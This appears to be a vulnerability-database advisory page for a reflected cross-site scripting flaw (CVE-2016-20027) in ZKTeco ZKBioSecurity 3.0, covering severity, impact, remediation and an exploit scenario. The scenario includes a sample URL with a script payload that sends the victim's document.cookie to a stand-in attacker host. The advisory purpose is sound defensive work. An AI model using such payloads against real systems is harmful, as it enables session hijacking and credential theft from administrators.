Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS score of 6.1 (Medium severity) reflects moderate impact, multiple factors elevate real-world risk: (1) Attack Vector is Network/unauthenticated (AV:N/PR:N), requiring only a malicious URL sent to a victim—no privilege escalation needed; (2) User Interaction is required (UI:R) but this is typical for reflected XSS and easily achieved through phishing; (3) Scope is Changed (S:C), meaning the vulnerability can impact resources beyond the vulnerable component; (4) Confidentiality and Integrity are affected (C:L/I:L), allowing session hijacking and credential theft in biometric security contexts; (5) Publicly available POC exploits exist (PacketStorm Security reference confirms active availability); (6) The vulnerability targets ZKBioSecurity, a system managing biometric authentication—compromising it could grant access to physical security systems. However, the absence of explicit KEV/CISA status and EPSS data suggests this 2016 vulnerability may have limited active exploitation today. The real-world priority depends on deployment: legacy systems still running ZKBioSecurity 3.0 face significant risk, but modern deployments should have patched years ago. This is a HIGH-PRIORITY vulnerability for any organization still using affected versions in production. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL targeting a ZKBioSecurity 3.0 instance, injecting an XSS payload into an unsanitized parameter (e.g., https://target.zk/script.asp?param=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>). The attacker sends this URL via phishing email to a ZKBioSecurity administrator. When the administrator clicks the link while authenticated to the application, the injected script executes in their browser session with the application's security context, allowing the attacker to: (1) steal the administrator's session cookie and impersonate them; (2) harvest biometric system credentials or authentication tokens; (3) modify user access permissions in the biometric system to grant unauthorized physical access; (4) redirect the administrator to a credential-harvesting page mimicking the login interface. The publicly available POC from PacketStorm Security demonstrates this attack is easily reproducible and requires minimal technical skill, making it a practical threat to vulnerable deployments. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 15, 2026
Reflected cross-site scripting (XSS) vulnerability in ZKTeco ZKBioSecurity 3.0 that allows unauthenticated attackers to execute arbitrary HTML and JavaScript code in a victim's browser session through malicious URLs containing unsanitized parameters. The vulnerability affects all versions of ZKBioSecurity 3.0 across the product line, and publicly available exploits exist (confirmed via PacketStorm Security), making it a moderate-risk vulnerability (CVSS 6.1) with demonstrated real-world exploitation potential.
RemediationAI
Immediate actions: (1) Update ZKTeco ZKBioSecurity to a patched version released after the 2016 disclosure—consult https://www.vulncheck.com/advisories/zkteco-zkbiosecurity-multiple-reflected-xss-vulnerabilities for version information; (2) Review ZKTeco vendor advisories for specific patch availability and upgrade procedures; (3) If immediate patching is impossible, implement compensating controls: restrict access to ZKBioSecurity administration interfaces via network segmentation and firewall rules, use Web Application Firewall (WAF) rules to detect and block XSS payloads (e.g., <script> tags in URL parameters), enforce HTTPOnly and Secure flags on session cookies to prevent script-based session theft, and educate users against clicking untrusted links to the application. (4) Monitor for exploitation attempts using intrusion detection patterns matching the POC from PacketStorm Security (https://packetstormsecurity.com/files/138568). Long-term: upgrade to ZKBioSecurity 4.x or later (if available) or migrate to alternative vendor biometric systems with modern security practices.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from a CWE-79 (Improper Neutralization of Input During Web Page Generation) root cause across multiple script endpoints in the ZKTeco ZKBioSecurity application. The affected product (cpe:2.3:a:zkteco_inc.:zkteco_zkbiosecurity:*:*:*:*:*:*:*:*) uses web-based interfaces for biometric security management but fails to properly sanitize or encode user-supplied input parameters before reflecting them into HTML responses. This allows attackers to inject arbitrary script payloads that execute in the context of the authenticated user's session, bypassing the application's intended security boundaries. The vulnerability affects multiple script entry points, suggesting systemic input validation failures rather than isolated issues.
Know when Zkteco Zkbiosecurity gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
ZKTeco ZKBioSecurity 3.0 contains multiple reflected cross-site scripting vulnerabilities that allow attackers to execute arbitrary HTML and script code by injecting malicious payloads through unsanitized parameters in multiple scripts. Attackers can craft malicious URLs with XSS payloads in vulnerable parameters to execute scripts in a user's browser session within the context of the affected application.
Executive ViewAI
Organizations using ZKTeco ZKBioSecurity 3.0 should be aware of moderate risk from CVE-2016-20027, a cross-site scripting vulnerability rated CVSS 6.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2016-10809
NVD
CVE.org
EPSS
VulDB
GitHub PoC
Exploit-DB